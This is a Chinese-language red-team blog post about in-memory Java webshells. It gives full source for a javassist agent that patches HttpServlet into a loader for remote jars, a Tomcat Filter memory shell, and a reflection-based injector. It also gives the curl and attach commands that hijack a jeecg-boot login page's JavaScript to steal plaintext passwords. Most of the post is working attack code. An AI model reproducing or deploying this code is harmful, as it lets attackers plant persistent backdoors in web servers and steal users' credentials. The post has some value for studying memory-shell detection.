一、前言
在红蓝对抗中,进程内存是兵家必争之地。例如,知名的 Mimikatz 工具(用于提取计算机密码和哈希值)就是通过操作内存来实现的。然而,由于操作内存极为繁琐且复杂,并且大部分软件的特性不一致,导致投入产出比相对较低,所以研究这一领域的人相对较少。
然而,在 Java 安全领域,内存对抗相对较为常见。由于 Java Instrument 机制(在内存中修改类)以及反序列化漏洞,可以通过代码执行来增加 Servlet、Filter 等内存马(这些能够有效规避回显和查杀),并且有众多的内存马工具生态,造就了内存马研究的浪潮。
不过,我个人认为,内存利用的潜力尚未被充分挖掘,因为蓝军的最终目标是业务权限或数据,而非机器。我曾遇到以下困扰的问题,后来发现这些问题都可以通过操作内存来解决:
1、遇到 KMS 加密的配置文件时,如何快速解密?
2、如何窃取用户登录 Spring Boot 应用的明文密码,而非 MD5 哈希值?
3、如何窃取二因素认证的 token 以绕过登录验证?
二、我有一个想法
上面这些问题,在java应用中都可以通过Java Instrument解决:dump内存、修改内存class逻辑。这里重点聊一下第二点。
1、增加一个jar loader:做一个loader,方便根据不同目标插入不同的内存马
2、自定义不可描述的事情:比如窃取web js密码明文逻辑:修改返回包 -> 替换返回包 -> 替换js的url(非常完美,本地或远程都可以),跟@skay讨论思路如上。实现过程是通过注入jar Loader注入Filter内存马,改变js的返回路径。
三、实验思路
3.1、Java Instrument制作jar loader
确认javaassit版本
javaassit版本太低了,对于需要修改的目标webapp不兼容(比较高版本的jdk不兼容),版本太高了,编译的agent需要的jdk版本需要jdk8以上。
修改servlet class
shellcode,最后的return是让有一个判断,返回为空则说明注入成功。
javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;
javax.servlet.http.HttpSession session = request.getSession();
if ((request.getQueryString()!=null) && (request.getQueryString().contains("lPassword")))
{
java.util.Map obj=new java.util.HashMap();
obj.put("request",request);
obj.put("response",response);
obj.put("session",session);
ClassLoader loader=this.getClass().getClassLoader();
if (request.getMethod().equals("POST"))
{
try{
String lUrl = request.getParameter("lUrl");
String lName = request.getParameter("lName");
java.net.URL[] urls = new java.net.URL[]{new java.net.URL(lUrl)};
java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(urls,this.getClass().getClassLoader());
Class clazz = urlClassLoader.loadClass(lName);
java.lang.reflect.Method[] methods = clazz.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
System.out.println("method: " +methods[i].getName());
}
java.lang.reflect.Constructor[] constructors = clazz.getDeclaredConstructors();
for (int i = 0; i < constructors.length; i++) {
System.out.println("constructor: " +constructors[i].getName());
}
Object obj = clazz.newInstance();
return;
}catch (Exception e){e.printStackTrace();}
}
}
agent的代码:AfterDemo.java
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassDefinition;
import java.lang.instrument.Instrumentation;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class AfterDemo {
public static void agentmain(String agentArgs, Instrumentation inst) {
System.out.println("hello I`m agentMain!!!");
Class<?>[] cLasses = inst.getAllLoadedClasses();
byte[] bArr = new byte[0];
Map<String, Map<String, Object>> targetClasses = new HashMap<>();
Map<String, Object> targetClassJavaxMap = new HashMap<>();
targetClassJavaxMap.put("methodName", "service");
List<String> paramJavaxClsStrList = new ArrayList<>();
paramJavaxClsStrList.add("javax.servlet.ServletRequest");
paramJavaxClsStrList.add("javax.servlet.ServletResponse");
targetClassJavaxMap.put("paramList", paramJavaxClsStrList);
targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
Map<String, Object> targetClassJakartaMap = new HashMap<>();
targetClassJakartaMap.put("methodName", "service");
List<String> paramJakartaClsStrList = new ArrayList<>();
paramJakartaClsStrList.add("jakarta.servlet.ServletRequest");
paramJakartaClsStrList.add("jakarta.servlet.ServletResponse");
targetClassJakartaMap.put("paramList", paramJakartaClsStrList);
targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
targetClasses.put("jakarta.servlet.http.HttpServlet", targetClassJakartaMap);
ClassPool cPool = ClassPool.getDefault();
if (ServerDetector.isWebLogic()) {
targetClasses.clear();
Map<String, Object> targetClassWeblogicMap = new HashMap<>();
targetClassWeblogicMap.put("methodName", "execute");
List<String> paramWeblogicClsStrList = new ArrayList<>();
paramWeblogicClsStrList.add("javax.servlet.ServletRequest");
paramWeblogicClsStrList.add("javax.servlet.ServletResponse");
targetClassWeblogicMap.put("paramList", paramWeblogicClsStrList);
targetClasses.put("weblogic.servlet.internal.ServletStubImpl", targetClassWeblogicMap);
}
String shellCode = "javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;\n" +
"javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;\n" +
"javax.servlet.http.HttpSession session = request.getSession();\n" +
"String pathPattern=\"/linject\";\n" +
"if (request.getRequestURI().matches(pathPattern))\n" +
"{\n" +
" java.util.Map obj=new java.util.HashMap();\n" +
" obj.put(\"request\",request);\n" +
" obj.put(\"response\",response);\n" +
" obj.put(\"session\",session);\n" +
" ClassLoader loader=this.getClass().getClassLoader();\n" +
" if (request.getMethod().equals(\"POST\"))\n" +
" {\n" +
" try{\n" +
" String lUrl = request.getParameter(\"lUrl\");\n" +
" String lName = request.getParameter(\"lName\");\n" +
" java.net.URL[] urls = new java.net.URL[]{new java.net.URL(lUrl)};\n" +
" java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(urls,this.getClass().getClassLoader());\n" +
" Class clazz = urlClassLoader.loadClass(lName);\n" +
" java.lang.reflect.Method[] methods = clazz.getDeclaredMethods();\n" +
" for (int i = 0; i < methods.length; i++) {\n" +
" System.out.println(\"method: \" +methods[i].getName());\n" +
" }\n" +
" java.lang.reflect.Constructor[] constructors = clazz.getDeclaredConstructors();\n" +
" for (int i = 0; i < constructors.length; i++) {\n" +
" System.out.println(\"constructor: \" +constructors[i].getName());\n" +
" }\n" +
" Object obj = clazz.newInstance();\n" +
" return;\n" +
" }catch (Exception e){e.printStackTrace();}\n" +
" }\n" +
"}";
for (Class<?> cls : cLasses) {
System.out.println(cls.getName());
if (targetClasses.keySet().contains(cls.getName())) {
String targetClassName = cls.getName();
try {
System.out.println("found class:"+targetClassName);
if (targetClassName.equals("jakarta.servlet.http.HttpServlet")) {
shellCode = shellCode.replace("javax.servlet", "jakarta.servlet");
}
ClassClassPath classPath = new ClassClassPath(cls);
cPool.insertClassPath(classPath);
cPool.importPackage("java.lang.reflect.Method");
cPool.importPackage("javax.crypto.Cipher");
List<CtClass> paramClsList = new ArrayList<>();
for (Object clsName : (List) targetClasses.get(targetClassName).get("paramList")) {
paramClsList.add(cPool.get((String) clsName));
}
CtClass cClass = cPool.get(targetClassName);
String methodName = targetClasses.get(targetClassName).get("methodName").toString();
CtMethod cMethod = cClass.getDeclaredMethod(methodName, (CtClass[]) paramClsList.toArray(new CtClass[paramClsList.size()]));
cMethod.insertBefore(shellCode);
cClass.detach();
byte[] data = cClass.toBytecode();
inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(cls, data)});
} catch (Exception e) {
e.printStackTrace();
}
break;
}
}
}
}
curl -X POST 'http://127.0.0.1:9091/linject?lUrl=http://127.0.0.1/TestSpring4.jar&lName=org.example.testspring4.Inject&password' -vvv
3.2、注入Filter
Filter & Filter注射器
MyFilter.java
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
public class MyFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
if(((HttpServletRequest)servletRequest).getRequestURI().endsWith("app.9fa057ee.js")){
((HttpServletResponse)servletResponse).sendRedirect("http://127.0.0.1/app.js");
}else {
filterChain.doFilter(servletRequest, servletResponse);
}
}
@Override
public void destroy() {
Filter.super.destroy();
}
}
Inject.java
package org.example.testspring4;
import jakarta.servlet.*;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.springframework.boot.web.servlet.DispatcherType;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.support.RequestContextUtils;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
public class Inject {
public Inject(){
try {
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
System.out.println(context);
ServletContext servletContext = ((org.springframework.web.context.WebApplicationContext)context).getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); // 获取属性
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
MyFilter filter = new MyFilter();
String FilterName = "shiroFilter";
Field Configs = null;
Map filterConfigs;
Configs = StandardContext.class.getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef) declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//Step 4
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap) declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);
//Step 5
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class, FilterDef.class);
declaredConstructor1.setAccessible(true);
org.apache.catalina.core.ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext, o);
filterConfigs.put(FilterName, filterConfig);
}catch (Exception e){
e.printStackTrace();
}
}
}
Jar Loader
需要注入到对应的servlet中去,因为这样就有了这个web app的上下文了,然后就可以通过Jar Loader加载任意java代码了。
注意:new java.net.URLClassLoader(urls,this.getClass().getClassLoader());
每个类加载器都有自己的命名空间,它包含由该类加载器加载的类。在Java中,类的唯一性不仅由类的完全限定名(类名+包名)决定,还由加载它的类加载器决定。因此,即使两个类加载器加载了相同的类文件,这两个类也被视为不同的类,因为它们位于不同的命名空间中。
try{
java.net.URL[] urls = new java.net.URL[]{new java.net.URL(url)};
java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(urls,this.getClass().getClassLoader());
Class clazz = urlClassLoader.loadClass(name);
java.lang.reflect.Method[] methods = clazz.getDeclaredMethods();
for (java.lang.reflect.Method _method : methods) {
System.out.println("method: " + _method);
}
java.lang.reflect.Constructor<?>[] constructors = clazz.getDeclaredConstructors();
for (java.lang.reflect.Constructor<?> ctor : constructors) {
System.out.println("Constructor: " + ctor);
}
Object obj = clazz.newInstance();
}catch (Exception e){
e.printStackTrace();
}
成功劫持
对app.9fa057ee.js进行劫持成功。
四、jeecg-boot劫持
1、生成SpiringFilter内存马(注射器和Filter马内容)
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.7.18</version>
</dependency>
package org.example;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class MyFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
if(((HttpServletRequest)servletRequest).getRequestURI().endsWith("app.9fa057ee.js")){
((HttpServletResponse)servletResponse).sendRedirect("http://127.0.0.1/app.js");
}else {
filterChain.doFilter(servletRequest, servletResponse);
}
}
@Override
public void destroy() {
Filter.super.destroy();
}
}
2、通过agent修改目标类
通过agent修改HttpServlet,实现访问任意路径即可加载Jar,注入内存马。
这步就是修改了javax.servlet.http.HttpServlet,可以加载任意的jar中的class执行。
java -jar agent-attach-java-1.8.jar -pid 83106 -agent-jar /Users/lufei/Downloads/AgentTester/out/artifacts/AgentTester_jar/AgentTester.jar
3、加载SpringFilter的inject 并且修改Filter
因为要触发javax.servlet.http.HttpServlet,所以必须在webapp的context上,所以只要成功访问webapp的任意url就可以触发,并且会返回200状态
curl -X POST 'http://127.0.0.1:8080/jeecg-boot/sys/login?lUrl=http://127.0.0.1/SpringFilter-1.0-SNAPSHOT.jar&lName=org.example.Inject&lPassword' -vvv
4、验证是否成功
这里会看到访问jeecg-boot/webjars/js/app.9fa057ee.js,就会跳转到/app.js,成功被劫持。
curl 'http://127.0.0.1:8080/jeecg-boot/webjars/js/app.9fa057ee.js' -vv
这里js加载我们修改的js,在js头部插入我们的js代码,这时候可以插入任意js,直接窃取明文密码。
五、总结
在红蓝对抗中,随着国内监管合规健全以及各类的安全基础设施完善,获取到机器ROOT权限并不意味结束,而是面对另一场对抗。